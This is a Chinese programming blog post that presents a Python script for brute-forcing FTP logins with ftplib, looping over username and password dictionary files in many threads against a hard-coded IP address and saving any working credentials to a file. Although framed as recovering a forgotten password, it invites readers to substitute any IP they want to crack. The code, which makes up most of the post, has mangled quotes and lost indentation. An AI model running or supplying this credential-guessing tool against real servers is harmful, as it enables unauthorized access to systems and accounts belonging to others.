忘记ftp密码使用python ftplib库暴力破解密码的方法示例


Posted in Python onJanuary 22, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 
import time 
import threading 
class mythread(threading.Thread): 
def __init__(self,command): 
threading.Thread.__init__(self) 
self.command=command 
def run(self): 
kk=os.system(self.command) 
ushand=open(“user.txt”,”r”) 
pshand=open(“passwd.txt”,”r”) 
listuser=[] 
listpass=[] 
for us in open(“user.txt”,”r”): 
lineus=ushand.readline().strip(‘\n') 
listuser.append(lineus) 
for ps in open(“passwd.txt”,”r”): 
lineps=pshand.readline().strip(‘\n') 
listpass.append(lineps) 
for i in listuser: 
for j in listpass: 
command=”ftp.py %s %s” %(i,j) 
print command 
my_thread=mythread(command) 
my_thread.start() 
time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 
import socket 
import sys 
ftp=ftplib.FTP('121.54.175.204′) 
try: 
user=sys.argv[1] 
passwd=sys.argv[2] 
ftp.login(user,passwd) 
hand=open(‘aa.txt','a+') 
hand.write(user+”:”+passwd+”\n”) 
except ftplib.error_perm: 
print “passwd is world”

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
python实现人脸识别经典算法(一) 特征脸法
Mar 13 Python
基于python的ini配置文件操作工具类
Apr 24 Python
PyCharm搭建Spark开发环境实现第一个pyspark程序
Jun 13 Python
pyqt 实现QlineEdit 输入密码显示成圆点的方法
Jun 24 Python
python 实现创建文件夹和创建日志文件的方法
Jul 07 Python
Python检查 云备份进程是否正常运行代码实例
Aug 22 Python
基于python操作ES实例详解
Nov 16 Python
PyTorch 对应点相乘、矩阵相乘实例
Dec 27 Python
解决Django部署设置Debug=False时xadmin后台管理系统样式丢失
Apr 07 Python
Python 解析简单的XML数据
Jul 24 Python
python复合条件下的字典排序
Dec 18 Python
python中time tzset()函数实例用法
Feb 18 Python
使用python的chardet库获得文件编码并修改编码
Jan 22 #Python
使用go和python递归删除.ds store文件的方法
Jan 22 #Python
python学习手册中的python多态示例代码
Jan 21 #Python
python pdb调试方法分享
Jan 21 #Python
python发送邮件接收邮件示例分享
Jan 21 #Python
python逐行读取文件内容的三种方法
Jan 20 #Python
c++生成dll使用python调用dll的方法
Jan 20 #Python
You might like
生成静态页面的php函数,php爱好者站推荐
2007/03/19 PHP
PHP面向对象类型约束用法分析
2019/06/12 PHP
js模拟实现Array的sort方法
2007/12/11 Javascript
jQuery 瀑布流 绝对定位布局(二)(延迟AJAX加载图片)
2012/05/23 Javascript
jQuery获取(选中)单选,复选框,下拉框中的值
2014/02/21 Javascript
jQuery中[attribute*=value]选择器用法实例
2014/12/31 Javascript
在JavaScript的jQuery库中操作AJAX的方法讲解
2015/08/15 Javascript
Javascript页面跳转常见实现方式汇总
2015/11/28 Javascript
详解Angular 4.x NgTemplateOutlet
2017/05/24 Javascript
js 两数组去除重复数值的实例
2017/12/06 Javascript
React组件中的this的具体使用
2018/02/28 Javascript
Node.js中你不可不精的Stream(流)
2018/06/08 Javascript
vue根据进入的路由进行原路返回的方法
2018/09/26 Javascript
JS跨域请求的问题解析
2018/12/03 Javascript
你了解vue3.0响应式数据怎么实现吗
2019/06/07 Javascript
详解Jest结合Vue-test-utils使用的初步实践
2019/06/27 Javascript
layui实现数据表格隐藏列的示例
2019/10/25 Javascript
python实现的文件夹清理程序分享
2014/11/22 Python
python对html代码进行escape编码的方法
2015/05/04 Python
Python实现队列的方法
2015/05/26 Python
在Python的Django框架中simple-todo工具的简单使用
2015/05/30 Python
python中matplotlib实现最小二乘法拟合的过程详解
2017/07/11 Python
Python实现基于二叉树存储结构的堆排序算法示例
2017/12/08 Python
python实现淘宝秒杀聚划算抢购自动提醒源码
2020/06/23 Python
在Python中定义一个常量的方法
2018/11/10 Python
PyQt5固定窗口大小的方法
2019/06/18 Python
Python迭代器iterator生成器generator使用解析
2019/10/24 Python
html5 Canvas画图教程(9)—canvas中画出矩形和圆形
2013/01/09 HTML / CSS
Office DEPOT法国官网:欧迪办公用品采购
2018/01/03 全球购物
捷克厨房用品购物网站:Tescoma
2018/07/13 全球购物
垃圾回收的优点和原理。并考虑2种回收机制
2016/10/16 面试题
党的群众路线教育实践活动个人对照检查材料(教师)
2014/11/04 职场文书
2016年国陪研修感言
2015/11/18 职场文书
建国70周年的心得体会(2篇)
2019/09/20 职场文书
Nginx优化服务之网页压缩的实现方法
2021/03/31 Servers
深入浅析Django MTV模式
2021/09/04 Python